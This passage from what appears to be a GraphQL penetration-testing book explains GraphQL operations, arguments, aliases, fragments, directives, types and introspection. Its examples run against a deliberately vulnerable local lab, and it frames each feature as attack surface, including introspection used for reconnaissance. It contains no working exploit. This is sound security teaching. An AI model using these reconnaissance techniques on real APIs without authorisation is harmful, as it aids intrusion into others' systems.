3 Top-level field Function that returns a single unit of information or object requested

within an operation (may contain nested fields)
4 Argument (of a

top-level field)
Parameter name used to send information to a field to tailor the behavior
and results of that field

5 Value Data related to an argument sent to a field
6 Field Nested function that returns a single unit of information or object

requested within an operation
7 Directive Feature used to decorate fields to change their validation or execution

behavior, altering a value returned by a GraphQL server
8 Argument (of a

directive)
Parameter name used to send information to a field or object to tailor its
behavior and results

9 Argument (of a
field)

Parameter name used to send information to a field to tailor the behavior
and results of the field

The following sections explore these components, as well as a few
additional GraphQL features, with a focus on how they contribute to
GraphQL’s attack surface.

Queries, Mutations, and Subscriptions
We discussed the root operation types query, mutation, and subscription in
Chapter 1 and showed an example of using the query type to retrieve data.
(For that reason, we won’t revisit the query type here.) As hackers, the real
fun often happens when we can modify data. Creating, updating, and deleting
data within a target platform empowers us to expose business logic flaws.

NOTE

We recommend using the GraphQL security lab we deployed in
Chapter 2 to follow along with this chapter’s example requests. Use
Altair to send the requests to DVGA (http://localhost:5013/graphql).



Mutations
In GraphQL, we can unlock data modification powers by using mutations.
Here is an example of a mutation query:

mutation { 
  editPaste(id: 1, content: "My first mutation!") { 
    paste { 
       id 
       title 
       content 
    } 
  } 
}

We define the mutation operation by using the mutation keyword. Then
we call the top-level editPaste field, which accepts the arguments id and
content. (We will discuss arguments later in this chapter.) This mutation
essentially takes the paste with the id of 1 and updates its content. We then
request the updated paste. This is an example of a mutation that changes and
reads data simultaneously.

NOTE

As in REST, where an HTTP GET request is conventionally used to
read information but could also be used to modify data, it is
possible for a GraphQL implementation to ignore the spec and
implement query operations in a way that allows data writes. In
Chapter 9, we will explore why writing data using a GraphQL
query can be a bad idea.

Subscriptions
The subscription operation works bidirectionally: it allows clients to
retrieve real-time data from a server, and allows servers to send updates to
clients. Subscriptions are not as common as queries and mutations, but many
servers do use them, so it is important to know how they work.

Subscriptions are carried over a transport protocol, most commonly
WebSocket, a real-time communication protocol that allows clients and



servers to exchange messages at any given time over a long-lived connection.
However, because the GraphQL specification doesn’t define which transport
protocol to use for subscriptions, you might see consumers use other ones.

When a client and server want to communicate over WebSocket, they
perform a handshake that upgrades the existing HTTP connection to a
WebSocket one. WebSocket internals are outside the scope of this book, but
you can learn more about this technology by reading PortSwigger’s technical
blog post on the topic at https://portswigger.net/web-security/websockets/w
hat-are-websockets.

Because DVGA supports subscriptions over WebSocket, we can observe
the handshake between DVGA’s frontend interface and the GraphQL server.
Clients can use subscriptions to fetch information from the DVGA server,
such as newly created pastes. For example, when you browse to the Public
Pastes page on http://localhost:5013, you should see an outgoing HTTP
request that looks like the following in the browser’s developer tools
Network tab:

GET /subscriptions HTTP/1.1 
Host: 0.0.0.0:5013 
Connection: Upgrade 
Pragma: no-cache 
Cache-Control: no-cache 
Upgrade: websocket 
Origin: http://localhost:5013 
Sec-WebSocket-Version: 13 
Sec-WebSocket-Key: MV5U83GH1UG8AlEb18lHiA==

The GraphQL server response to this handshake request looks like this:

HTTP/1.1 101 Switching Protocols 
Upgrade: websocket 
Connection: Upgrade 
Sec-WebSocket-Accept: aRnlpG8XwzRHPVxYmGVdqJv3D7U=

As you can see, the handshake caused the client and server to switch from
HTTP to WebSocket, as indicated by the response code of 101 Switching
Protocols. The Sec-WebSocket-Accept response header informs the client
that the server has accepted the protocol switch.

https://portswigger.net/web-security/websockets/what-are-websockets


After the handshake completes, DVGA will send a subscription request
over the newly established WebSocket connection:

subscription { 
  paste { 
     id 
     title 
     content 
  } 
}

We define the subscription operation by using the subscription
keyword, then request the paste top-level field and select the id, title, and
content fields. This subscription allows clients to subscribe to the paste
field; whenever a new paste is created in DVGA, the GraphQL server will
notify all subscribers of the event. This removes the need for the client to
constantly ask the server for updates, which is especially useful because the
server may not have anything new to return at that exact moment.

If you want to try sending this subscription request to DVGA by using
Altair, you’ll need to assign a subscription URL. You can do so in Altair by
clicking the two-arrow icon on the left sidebar and entering the WebSocket
URL ws://localhost:5013/subscriptions. Next, to receive data from the
DVGA subscription, you’ll need to create a paste. You can either use the
DVGA user interface to create it via the Public Pastes page or send a
mutation, like the following one, from another Altair tab:

mutation { 
  createPaste(title: "New paste", content: "Test", public: 
false) { 
    paste { 
      id 
      title 
      content 
    } 
  } 
}

WebSocket connections are prone to cross-site WebSocket hijacking
(CSWSH) vulnerabilities, which happen when the server does not validate
the origin of a client in the handshake process. WebSocket connections can



also be vulnerable to man-in-the-middle (MITM) attacks when the transport
of messages isn’t carried over an encrypted channel such as Transport Layer
Security (TLS). The existence of such vulnerabilities could have a security
impact on actions carried over GraphQL subscriptions. In Chapter 9, we’ll
cover WebSocket-based attacks in more detail.

Operation Names
GraphQL operation names are labels used to uniquely identify an operation
in certain contexts. They appear in the executable documents that clients send
to a GraphQL service. These documents can contain a list of one or more
operations. For example, the document in Listing 3-1 shows a single query
operation requesting a pastes top-level field with a nested title field.

query { 
  pastes { 
    title 
  } 
}

Listing 3-1: An executable query document

If a document contains only one operation, and that operation is a query
defining no variables and containing no directives, then that operation may be
represented in its shorthand form, without the query keyword, as shown in Li
sting 3-2.

{ 
  pastes { 
    title 
  } 
}

Listing 3-2: A shorthand query document

However, a document may also contain multiple operations. If the
document has more than one operation of the same type, operation names
must be used.



Clients define these operation names, which means they can be completely
random, making them a great way to potentially fool an analyst reviewing
logs of GraphQL applications. For example, imagine that a client sends a
document using the operation name getPastes, but instead of returning a list
of paste objects, they in fact delete all pastes.

Listing 3-3 provides an example of a document with getPasteTitles and
getPasteContent set as query operation names. Although these operation
names are appropriate given the requested content, they could just as well
have been completely unrelated to the queries’ actions. Only the underlying
operation logic and selection fields determine the request’s output.

query getPasteTitles { 
  pastes { 
    title 
  } 
} 
 
query getPasteContent { 
  pastes { 
    content 
  } 
}

Listing 3-3: A query document with multiple operations, each one
labeled with an operation name

Because operation names are client-driven inputs, they could also
potentially be used as attack vectors for injection. Some implementations of
GraphQL allow special characters in operation names. The applications
might store these names in their audit logs, third-party applications, or other
systems. These could cause mayhem if not properly sanitized.

Another interesting observation you might make after looking at Listings 3-
1, 3-2 and 3-3 is that a client can request the exact same information by using
different documents. This level of freedom offers clients a lot of power;
however, it increases the number of possible requests, which in turn
increases the application’s attack surface. Parsers that don’t take into
consideration the various ways a query can be constructed are prone to
unexpected errors.



Fields
A field is a single piece of information available within an operation’s
selection set, or the list encapsulated between the curly brackets ({}). In the
following example, id, title, and content are fields:

{ 
  id 
  title 
  content 
}

Because these three fields sit at the root level of the shorthand query, they
are also known as top-level fields. Fields may also contain their own
selection set, allowing for the representation of complex data relationships.
In the following example, the top-level owner field has its own selection set
with one nested field:

{ 
  id 
  title 
  content 
  owner { 
    name 
  } 
}

So, selection sets are made up of fields, and fields can have their own
selection sets with their own fields. Do any security issues jump out at you?
In Chapter 5, we’ll explore how circular field relationships may result in
recursive and expensive requests that can degrade performance and
potentially crash a GraphQL server.

Fields are very important when it comes to interacting with GraphQL
services. Not knowing what fields are available can be pretty limiting.
Luckily, implementations have deployed a handy tool for us, known as field
suggestions. When a client misspells a field, the error message returned by a
server that implements field suggestions will reference the field it believes
the client was trying to call. For example, if we sent a query for a paste with
the field name of titl in DVGA (notice the typo), the server will respond
with suggested alternatives:



"Cannot query field \"titl\" on type \"PasteObject\". Did
 you mean \"title\"?"

This field suggestion feature makes GraphQL a convenient, friendly, and
simple tool not only for API consumers but also for hackers. We can exploit
this feature to find fields we may not have known about otherwise. We’ll
discuss this information disclosure technique in Chapter 6.

Arguments
Like REST APIs, GraphQL allows clients to send arguments for various
fields in their queries to tailor the results they return. If you take another look
at Figure 3-1, you’ll notice that arguments can be implemented at various
levels—namely, in fields and directives.

In the following query, the users field has an id argument with a value of
1. Without the id argument, this query would return the entire list of users in
DVGA. The argument filters this list to those with the same identifier:

query { 
  users(id: 1) { 
    id 
    username 
  } 
}

As expected, the response to this request will return a single user object,
its ID, and its username:

{ 
  "data": { 
    "users": [ 
      { 
        "id": "1", 
        "username": "admin" 
      } 
    ] 
  } 
}

Arguments can also be passed to nested fields. Consider this query:



query { 
  users(id: 1)  { 
    username(capitalize: true) 
  } 
}

The nested username field now has an argument called capitalize. This
argument accepts a Boolean value, here set to true. In DVGA, this argument
will make GraphQL capitalize the first character of the username field and
return it in the response, converting admin into Admin, for example:

{ 
  "data": { 
    "users": [ 
      { 
        "username": "Admin" 
      } 
    ] 
  } 
}

Arguments are unordered, which means that changing their order does not
change the logic of the query. In the following example, whether you pass the
limit argument or the public argument first doesn’t change the query’s
meaning:

query { 
  pastes(limit: 1, public: true){ 
    id 
  } 
}

The way these arguments are processed and validated is completely up to
the application, and implementation differences could lead to vulnerabilities.
For example, because GraphQL is strongly typed, passing an integer value to
an argument that expects a string value will result in a validation error. If you
instead pass it a string, the validation at the GraphQL level will pass, but the
application should still verify the format of this input. If the value is an email
address, for instance, the application might check the value against an email-
format regular expression or look for the at (@) symbol.



If an application uses a library that provides custom scalar types for email
addresses, the library itself could perform this validation, making it harder
for the application maintainers to make mistakes. External GraphQL
libraries, such as graphql-scalars (https://github.com/Urigo/graphql-scalar
s) for JavaScript, provide useful custom scalar types for specific use cases,
such as timestamps, IP addresses, website URLs, and more. Of course,
vulnerabilities in custom scalar types could still exist. For example, a
vulnerability found in Python’s ipaddress library (CVE-2021-29921) could
enable an attacker to bypass IP-based access controls.

As you can see, arguments give clients a lot of power to manipulate the
behavior of their requests and are another great attack vector. Because the
value of an argument is client driven, it can potentially be stuffed with
malicious content in injection-based attacks. In Chapter 8, we highlight tools
and techniques used to exploit arguments if their values are not properly
sanitized for injection purposes.

Aliases
Aliases allow clients to change a field’s response key to something other than
the original field’s name. For example, here we use myalias as an alias for
the title field name:

query { 
   pastes { 
      myalias:title 
   } 
}

The response will contain the myalias key instead of the original title
field name:

{ 
  "data": { 
    "pastes": [ 
      { 
        "myalias": "My Title!" 
      } 
    ] 
  } 
}

https://github.com/Urigo/graphql-scalars


Aliases can come in handy when you’re dealing with identical response
keys. Consider the query in Listing 3-4.

query { 
  pastes(public: false) { 
    title 
  } 
  pastes(public: true) { 
    title 
  } 
}

Listing 3-4: Duplicate queries with different argument values

In this query, we use the pastes field twice. In each query, we pass it the
public argument with different values (false and true). The public
argument is a way to filter for specific pastes based on their permissions: a
public paste is viewable by all clients, while a private paste can be viewed
by only the original author. Copy the query from Listing 3-4 into Altair and
send it to the DVGA. You should see the following output:

{ 
  "errors": [ 
    { 
      "message": "Fields \"pastes\" conflict because they
 have differing arguments. 
      Use different aliases on the fields to fetch both if 
this was intentional.", 
--snip-- 
}

The GraphQL server tells us that a conflict occurred while using this
query. Since we’ve sent the same query using different arguments, GraphQL
is unable to process them together. This is where aliases are helpful: we can
rename our queries so the server will treat them differently. Listing 3-5
shows how to use aliases to avoid key conflicts.

Query { 
  queryOne:pastes(public: false) { 
    title 
  } 



  queryTwo:pastes(public: true) { 
    title 
  } 
}

Listing 3-5: Aliasing two queries

In the following response, you will notice two JSON keys, queryOne and
queryTwo, for each alias we specified in the query at Listing 3-5. You can
think of each JSON key as a separate response to a distinct query:

{ 
  "data": { 
    "queryOne": [ 
      { 
        "title": "My Title!" 
      } 
    ], 
    "queryTwo": [ 
      { 
        "title": "Testing Testing" 
      } 
    ] 
  } 
}

NOTE

While aliases can typically contain alphanumeric characters, most
GraphQL servers will return a syntax error when aliases contain
special characters.

So far, aliases look pretty innocent. Rest assured that we can weaponize
them. In Chapter 5, we will teach you how to leverage aliases for a variety of
DoS attacks, and in Chapter 7, we’ll use them to defeat authentication
controls.

Fragments



Fragments allow clients to reuse the same set of fields in a GraphQL query
for readability and to avoid field repetition. Instead of repeating the fields,
you can define a fragment once and use it whenever you need that particular
set of fields.

Fragments are defined using the fragment keyword, followed by any
name you desire, and declared using the on keyword on an object type name:

fragment CommonFields on PasteObject { 
  title 
  content 
}

In this example, we define a fragment named CommonFields. Using the on
keyword, we declare that this fragment is related to the PasteObject, which
can give us access to fields that you are already familiar with by now, such
as title and content. Listing 3-6 shows how to use this fragment in a
query:

query { 
  pastes { 
    ...CommonFields 
  } 
} 
 
fragment CommonFields on PasteObject { 
   title 
   content 
}

Listing 3-6: Defining the CommonFields fragment and using it in a query

Using three dots (...), also called a spread operator, we can reference
the CommonFields fragment in different parts of a query to access paste-
related fields such as title and content. There is no limit to the number of
times a fragment can be referenced in a query.



NOTE

The GraphQL Working Groups have been having ongoing
discussions about introducing arguments to fragments (https://gith
ub.com/graphql/graphql-spec/issues/204). As of this writing, we
don’t know if or when fragment arguments will be introduced.

From a penetration testing perspective, fragments can be constructed such
that they reference one another, allowing for a circular fragment condition
that could lead to DoS conditions. You will learn how to abuse this in
Chapter 5.

Variables
You can supply variables to operations as argument values by declaring them
within the GraphQL document. Variables are useful because they avoid
costly string building during runtime.

Variables are defined at the top of an operation, after the operation name.
Listing 3-7 shows a query that uses a variable.

query publicPastes($status: Boolean!){ 
  pastes(public: $status){ 
    id 
    title 
    content 
  } 
}

Listing 3-7: The status variable passed to the public argument of the
pastes object

Using the dollar sign ($) symbol, we provide the variable name status
and its type, Boolean. The ! after the variable type means that the variable is
required for the operation.

To set the variable’s value, you can either provide a default value when
defining the variable type or send a JSON object with the variable name and
value in the document. In Altair, you can define variables within the

https://github.com/graphql/graphql-spec/issues/204


Variables pane located directly below the left-hand Query pane, as shown in
Figure 3-2.

In this example, we pass a variable named status with a Boolean value
of false. This value will be used wherever the variable exists in the
document. Variables provide an easier way to reuse the values we pass to
arguments in fields or directives.

Figure 3-2: The Altair Variables pane (in the bottom-left corner)

Directives
Directives allow you to decorate, or change the behavior of, a field within a
document. The behavior change could affect the way the particular field gets
validated, processed, or executed by the application. Directives can be seen
as arguments’ big brother, as they allow for higher-level control, such as
conditionally including or skipping fields based on certain logic. They come



in two flavors: query level and schema level. Both types are declared with @
and can leverage arguments (much like fields).

Implementations typically provide several out-of-the-box directives, and
GraphQL API developers can also create their own custom directives as they
please. Unlike operation names or aliases, clients can use only the directives
defined by the server. Table 3-2 shows the common default directives you
will often see in the wild, their use, and the location in which they are
defined.

Table 3-2: Common Schema and Query-Level Directives

# Name Description Location
1 @skip Conditionally omits a field from the response Query
2 @include Conditionally includes a field in the response Query
3 @deprecated Signals a deprecation of a schema component Schema
4 @specifiedBy Specifies a custom scalar type (such as RFCs) Schema

Clients can apply the @skip directive to a field to dynamically omit it
from the response. When the if condition in the directive’s argument is true,
the field won’t be included. Consider the query in Listing 3-8.

query pasteDetails($pasteOnly: Boolean!){ 
  pastes{ 
    id 
    title 
    content 
  ❶ owner @skip(if: $pasteOnly) { 
      name 
    } 
  } 
} 
 
--snip-- 
 
{ 
  "pasteOnly": true 
}

Listing 3-8: Using the @skip directive to omit owner information from a
query



We can see the use of the @skip directive, which includes an if condition,
check for the value of the $pasteOnly Boolean variable ❶. If this variable
is set to true, the entire owner field (as well as its nested fields) will be
skipped and hidden from the response.

The @include query directive is the opposite of the @skip directive. It
will include only a field and its nested fields if the argument passed to it is
set to true.

The @deprecated directive is different from the @skip and @include
directives because clients do not use it in query documents. Known as a
schema-level directive, @deprecated is used only in GraphQL schema
definitions. It appears at the end of a field or type definition as a way to
document that the field or type is no longer supported.

The @deprecated directive has an optional reason string argument that
allows developers to specify a message to clients or developers who attempt
to use the field. This information will appear in places such as the responses
to the introspection query and the documentation section of GraphQL IDE
tools such as GraphiQL Explorer and GraphQL Playground. Listing 3-9 is an
example schema that shows how the @deprecated directive can be used.

type PasteObject { 
--snip-- 
  userAgent: String 
  ipAddr: String @deprecated(reason: "We no longer log IP
 addresses") 
  owner: OwnerObject 
--snip-- 
}

Listing 3-9: A deprecated schema-directive defined in an SDL

Finally, the more recently added @specifiedBy schema-level directive is
used to provide a human-readable specification URL for a custom scalar
type. We will discuss how @specifiedBy is typically used in “Scalars” on
page 58.

The @skip, @include, @deprecated, and @specifiedBy directives are
required; GraphQL server implementations must support them to be
considered spec compliant.



NOTE

As the GraphQL specification develops and more features are
introduced, we expect more default directives to be implemented
over time. Discussions are ongoing about adding two more query-
level directives, @stream and @defer, which clients would use to
communicate the relative priority of their requested data and split
data across multiple responses. More information can be found in
the GraphQL Working Groups GitHub repository under RFCs (http
s://github.com/graphql/graphql-
wg/blob/main/rfcs/DeferStream.md).

Custom directives empower GraphQL implementations to develop new
features or augment functionality not currently supported, or widely used, by
the ecosystem. One example of a widely adopted custom directive is
@computed. This powerful schema-level directive saves implementers from
having to create resolver functions for fields that can be computed from the
values of other fields in the schema. Listing 3-10 shows how the @computed
directive can merge the firstName and lastName fields into the fullName
field.

type User { 
  firstName: String 
  lastName: String 
  fullName: String @computed(value: "$firstName $lastNam
e") 
}

Listing 3-10: A computed directive used for the merger of two fields

The power of directives is also their greatest weakness: they are
essentially unregulated. Other than describing their general syntax, the
GraphQL spec doesn’t mention much about directives, allowing every server
implementation the freedom to design their own architecture. Not every
GraphQL server implementation will support the same directives. However,
implementations that use directives to alter the underlying behavior of the
GraphQL language could introduce risks if implemented incorrectly.

https://github.com/graphql/graphql-wg/blob/main/rfcs/DeferStream.md


The use of custom directives to expand GraphQL opens implementations
to customized attack vectors that we hackers can exploit. A vulnerability in a
custom directive used by a popular GraphQL implementation could impact
hundreds of organizations. In Chapter 5, we will explore how to use
directives to attack GraphQL servers.

Data Types
GraphQL’s types define the custom objects and data structures that make up a
GraphQL schema. There are six kinds of types: object, scalar, enum, union,
interface, and input. In this section, we will define each type and explain
what it is used for.

We reference the types defined in DVGA’s schema as examples. If you’d
like more context, you can use Altair to download the full SDL file for
DVGA. To download it, click the Docs link next to the Send Request button
and select the ellipsis (...) button to expose the Export SDL option, shown in
Figure 3-3.

Figure 3-3: Altair’s Export SDL feature

Objects
Custom object types are groups of one or more fields that define domain- or
application-specific objects. Consider the snippet of DVGA’s schema in Listi
ng 3-11.



type PasteObject { 
  id: ID! 
  title: String 
  content: String 
  public: Boolean 
  userAgent: String 
  ipAddr: String 
  ownerId: Int 
  burn: Boolean 
❶ owner: OwnerObject 
}

Listing 3-11: The DVGA PasteObject type

We define a new custom object type, called PasteObject. This object has
fields described between curly brackets. You may recognize a few of these
fields, as we used them in a GraphQL query earlier in this chapter. Each of
these fields uses GraphQL’s out-of-the-box scalar types except for the owner
field, which is also a custom object type.

If you look at the id field, you’ll notice that it contains the exclamation
mark (!) character. This means that every Paste object requires an ID,
whereas every other field can be null. These required fields are known as
non-null wrapping types. Also notice the one-way-link relationship between
our Paste and Owner object nodes ❶. We discussed such relationships in
Chapter 1. In practice, this means that we can request an Owner object and its
associated fields through a Paste object.

Scalars
Scalars include several core built-in value types, such as ID, Int, Float,
String, and Boolean. Unlike object types, they don’t have their own fields.

Implementations can also define their own custom scalars. Consider Listin
g 3-12, which shows how DVGA could introduce a new field within the
Paste object called createdAt.

scalar DateTime 
 
type PasteObject { 
  id: ID! 
  title: String 



  content: String 
  public: Boolean 
  userAgent: String 
  ipAddr: String 
  ownerId: Int 
  burn: Boolean 
  owner: OwnerObject 
  createdAt: DateTime! 
}

Listing 3-12: A scalar SDL definition

Just like the ID field, this createdAt field could be automatically
assigned upon paste creation with a custom scalar type known as DateTime.
This custom scalar can help us ensure proper serialization, formatting, and
validation.

Custom scalars may also use the @specifiedBy built-in directive to
describe their specification URL for clients. For example, a custom scalar
type UUID may set its specification URL to the relevant Internet Engineering
Task Force (IETF) specification:

scalar UUID @specifiedBy(url: "https://tools.ietf.org/htm
l/rfc4122")

Enums
Enums, or enumeration types, are fields used to return a single string value
from a list of possible values. For example, an application may want to
allow a client to choose how to sort a list of usernames in the response. To
do so, they might create an enum named UserSortEnum to represent types of
sorting (such as by username, email, password, or the date a user joined):

enum UserSortEnum { 
  ID 
  EMAIL 
  USERNAME 
  DATE_JOINED 
}



This UserSortEnum enum can then be used as the type for an argument
such as order, exposed via an input type named UserOrderedType. (We
discuss input types later in this chapter.) Listing 3-13 shows how such a
schema might look.

enum UserSortEnum { 
  ID 
  EMAIL 
  USERNAME 
  DATE_JOINED 
} 
 
input UserOrderType { 
  sort: UserSortEnum! 
} 
 
type UserObject { 
  id: Int! 
  username: String! 
} 
 
type Query { 
  users(limit: Int, order: UserOrderType): UserObject! 
}

Listing 3-13: A user sorting based on an input type that uses an enum

In this example, we define the UserSortEnum with a few enum fields, such
as ID, EMAIL, USERNAME, and DATE_JOINED. We then define an input type
named UserOrderType, which contains a field named sort of type
UserSortEnum. We expose a query named users, which takes two
arguments, limit and order, where order is of type UserOrderType. This
allows clients to return a list of users sorted based on any of the defined
enums. Such a query may look like the following:

query { 
  users(limit: 100, order: {sort: ID}) 
}

Allowing the client to sort using the options listed in UserSortEnum can
be risky. For example, if the client can sort users by their ID, an attacker
might have access to the identity of the first user created in the system. This



user is likely a super-admin or built-in application account, and so could
help focus the attack on high-value accounts with potentially broader
permissions than other accounts.

Unions
A union is a type that returns one of many object types. A client can leverage
unions to send a single request to a GraphQL server and get a list of objects.
Consider Listing 3-14, which shows a query using a search feature in DVGA.
This feature allows a client to search for a keyword that returns multiple
Users and Paste objects:

query { 
  search(keyword: "p") { 
    ... on UserObject {
      username
    }
    ... on PasteObject {
      title
      content
    } 
  } 
}

Listing 3-14: The DVGA search feature

This search feature empowers clients to find both pastes and users that
match the keyword with just a single request. Pretty neat! The response to the
query can be seen in the following code. It returns a list of matching paste
and user fields that have the letter p in either their username or title:

{ 
  "data": { 
    "search": [ 
      { 
        "title": "This is my first paste", 
        "content": "What does your room look like?" 
      }, 
      { 
        "id": "2", 
        "username": "operator" 
      } 



    ] 
  } 
}

To accept and resolve a request like this, a schema can use a union type. In
Listing 3-15, we define a union named SearchResults.

union SearchResults = UserObject | PasteObject 
 
type UserObject { 
  id: ID! 
  username: String! 
} 
 
type PasteObject { 
  id: ID! 
  title: String 
  content: String 
--snip-- 
} 
 
type Query { 
  search(keyword: String): [SearchResults!] 
}

Listing 3-15: A union definition

As you can see, the SearchResults union type merges the user and paste
objects into a single type. That type can then be used in a single search query
operation that accepts a keyword string argument.

Interfaces
Another way to return multiple types within the same field is through
interfaces. Interfaces define a list of fields that must be included across all
object types that implement them. In the union request example covered in the
previous section, you saw how we could retrieve the username field of any
User object, as well as the title and content fields of any Paste object,
as long as these matched the search pattern. Interfaces do not work like this;
they require the same fields to be present in both objects in order for the
objects to be joined in a response to the client.



To implement our search functionality using interfaces instead of unions,
we could use the schema shown in Listing 3-16.

interface SearchItem { 
  keywords: [String!]
} 
 
type UserObject implements SearchItem { 
  id: ID! 
  username: String! 
  keywords: [String!] 
} 
 
type PasteObject implements SearchItem { 
  id: ID! 
  title: String 
  content: String 
  keywords: [String!]
--snip-- 
} 
 
type Query { 
  search(keyword: String): [SearchItem!]! 
}

Listing 3-16: An interface SDL definition

We create an interface type called SearchItem with a keywords string list
field. Any object type that wants to implement this interface will need to
include the keywords field. We then define this field within both the
UserObject and PasteObject objects. Now a client could send a search
query much like the one outlined in Listing 3-15 to retrieve all user and paste
objects that use a particular keyword.

Interfaces could pose a problem in applications that poorly implement
authorization. One way to implement authorization in GraphQL is by using
custom schema-level directives. Because an interface defines fields to be
used by other objects, any sensitive field that isn’t properly decorated could
be exposed unintentionally. Large SDL files can have thousands of lines, and
there is always a chance a developer might forget to add the relevant
authorization directives. You’ll learn more about authorization in Chapter 8.



Inputs
Arguments are able to accept values of different types, such as scalars, but
when we need to pass large and complex inputs to the server, we can
leverage an input type to simplify our requests. Input types are essentially
the same as object types, but they can be used only as inputs for arguments.
They help organize client requests and make it easier for clients to reuse
inputs in multiple arguments. Mature GraphQL deployments use input types
to better structure their APIs and make their schema documentation easier to
read.

Let’s see input types in action. In Listing 3-17, we declare an $input
variable and assign the type as UserInput!. Then we pass this input
variable into the userData argument for our createUser mutation.

mutation newUser($input: UserInput!) { 
  createUser(userData: $input) { 
    user { 
      username 
    } 
  } 
}

Listing 3-17: An input type in a mutation

As you learned in “Variables” on page 53, to submit inputs to the
application, we’ll need to create a JSON object that represents our
UserInput! and assign it to the input key, as shown in Listing 3-18.

{ 
  "input": { 
    "username": "tom", 
    "password": "secret", 
    "email": "tom@example.com" 
  } 
}

Listing 3-18: An input definition

In tools such as Altair or GraphiQL Explorer, Listing 3-18’s JSON will be
defined in the Variables pane of the client.



Input types provide clients with a possible way to defeat type validations,
which may or may not have broken validation logic. For example, earlier in
this chapter we discussed how custom scalar types could fail to validate
values sent by clients, such as IP addresses or email addresses. Validation
issues related to email addresses could allow attackers to bypass registration
forms and login processes or perform injections.

Introspection
After reviewing GraphQL’s language and type system, you should have
noticed stark differences in what GraphQL APIs and REST APIs can offer
clients. GraphQL puts a lot of power in the hands of the client by default. But
wait, there’s more!

Arguably one of GraphQL’s most powerful features is introspection, the
built-in tool that empowers clients to discover actions they can take using a
GraphQL API. Introspection lets clients query a GraphQL server for
information about its underlying schema, which includes data like queries,
mutations, subscriptions, directives, types, fields, and more. As hackers, this
feature can be a gold mine in supporting our reconnaissance, profiling, data
collection, and attack-vector analysis efforts. Let’s dive into how we can use
it.

The GraphQL introspection system has seven introspection types that we
can use to query the schema. Table 3-3 lists these introspection types.

Table 3-3: The Introspection System Types

Introspection
type

Usage

__Schema Provides all information about the schema of a GraphQL service
__Type Provides all information about a type
__TypeKind Provides the different kinds of types (scalars, objects, interface, union,

enum, and so on)
__Field Provides all information for each field of an object or interface type
__InputValue Provides field and directive argument information
__EnumValue Provides one of the possible values of an enum
__Directive Provides all information on both custom and built-in directives



Consider Listing 3-19, which uses the __Schema introspection type against
DVGA.

query { 
  __schema { 
    types { 
      name 
    } 
  } 
}

Listing 3-19: An introspection query for schema types

The __schema introspection top-level field will query all the information
available to us through the GraphQL schema we are interacting with. We
further refine our investigation by telling the query to look for all types and
to select their name fields.

Here is how GraphQL displays the introspection response to this request:

{ 
  "data": { 
    "__schema": { 
      "types": [ 
    --snip-- 
        { 
          "name": "PasteObject" 
        }, 
        { 
          "name": "ID" 
        } 
    --snip-- 
        { 
          "name": "String" 
        }, 
        { 
          "name": "OwnerObject" 
        }, 
        { 
          "name": "UserObject" 
        } 
    --snip-- 
     ] 



   } 
}

Here, we can see many returned type names. A few should be familiar to
you, such as ID, String, and PasteObject. We know that ID and String
are GraphQL’s built-in scalar types, but names like PasteObject,
OwnerObject, and UserObject should immediately catch our attention as
we probe the schema for goodies, because these are custom object types
introduced by the developers and not built-in GraphQL types. Let’s dive
deeper into these.

We can use __type to further investigate information about types we find
interesting. Listing 3-20 provides us with a powerful query to discover all
fields and their types within a custom object type of our choosing.

query { 
  __type(name: "PasteObject") { 
    name 
    kind
    fields { 
      name 
      type { 
        name 
        kind 
      } 
    } 
  } 
}

Listing 3-20: An introspection query for discovering fields within an
object of interest

In this case, we decided to dive deeper into the PasteObject type. You
will notice that we are selecting not just the name of the type but also its
kind, which returns the __TypeKind introspection type for the object. We’re
also selecting all of the PasteObject fields and their names, types, and
kinds. Let’s take a look at the response:

"__type": { 
      "name": "PasteObject", 
      "kind": "OBJECT", 
      "fields": [ 



        { 
          "name": "id", 
          "type": { 
            "name": null, 
            "kind": "NON_NULL" 
          } 
        }, 
        { 
          "name": "title", 
          "type": { 
            "name": "String", 
            "kind": "SCALAR" 
          } 
        }, 
        --snip-- 
        { 
          "name": "content", 
          "type": { 
            "name": "String", 
            "kind": "SCALAR" 
          } 
        }, 
        { 
          "name": "owner", 
          "type": { 
            "name": "OwnerObject", 
            "kind": "OBJECT" 
          } 
        } 
      ] 
 }

The structure of the introspection query we made matches that of the
response we received. We now have the entire list of fields we can request,
as well as their types.

Sensitive fields, intended for staff or internal use only, may easily become
revealed to the public if they are included in the GraphQL schema and
introspection is enabled. But introspection isn’t only about field discovery; it
is the equivalent of being handed a REST API Swagger (OpenAPI) definition
file. It allows us to discover the queries, mutations, and subscriptions that are
supported, the arguments they accept, and how to construct and execute them.
Having this intelligence at our fingertips may allow us to discover and craft
malicious operations.



We will dive into more introspection fun in Chapter 6, which focuses on
information disclosure tools and techniques.

Validation and Execution
All GraphQL query requests are tested for their validity against the schema
and type system before they are executed and resolved by the server. For
instance, when a client sends a query for certain fields, the GraphQL
implementation’s validations will check the schema to verify that all the
requested fields exist on the given type. If a field doesn’t exist within the
schema or isn’t associated with a given type, the query will be flagged as
invalid and won’t execute.

The GraphQL spec outlines several validation types. These include
document, operation, field, argument, fragment, value, directive, and variable
validations. The example we just mentioned is a field validation; other
validations, such as directive validations, can check if a directive sent by the
client is recognized in the schema and supported by the implementation.

There are significant differences in the way GraphQL implementations
interpret and conform to the GraphQL spec, and especially in the way they
handle responses to invalid requests. This variation is what fingerprinting
tools like Graphw00f (covered in Chapter 4) aim to detect. Because the
thoroughness of a server’s validation stage reveals information about its
security maturity, it’s important to analyze these implementation weaknesses.
This is where the GraphQL Threat Matrix comes in handy.

The GraphQL Threat Matrix (https://github.com/nicholasaleks/graphql-t
hreat-matrix) is a security framework for GraphQL developed by the authors
of this book. It is used by bug bounty hunters, security researchers, and
hackers to assist with uncovering vulnerabilities across multiple GraphQL
implementations. Figure 3-4 shows its interface.

The matrix analyzes, tracks, and compares the most common
implementations, looking at their supported validations, default security
configurations, features, and notable vulnerabilities. The matrix is useful for
both hackers and defenders. Knowing how to attack an implementation is
crucial, but making data-driven decisions about which implementation to
choose in the first place is just as important.

https://github.com/nicholasaleks/graphql-threat-matrix


Figure 3-4: The GraphQL Threat Matrix

Once successfully validated, a GraphQL request is executed by the server.
Resolver functions, which we covered in Chapter 1, are responsible for
returning a response for a requested field.

Common Weaknesses
In this section, we will provide a high-level overview of the common
weaknesses found in GraphQL. In later chapters, we will perform



penetration testing against each vulnerability class, as well as review related
exploit code.

Specification Rule and Implementation Weaknesses
GraphQL’s specification defines rules, design principles, and standard
practices. If you ever want to develop your own GraphQL implementation,
this is the document your implementation should conform to, including the
way it formats its responses, validates arguments, and so on.

Here are two examples of rules taken from the GraphQL specification:

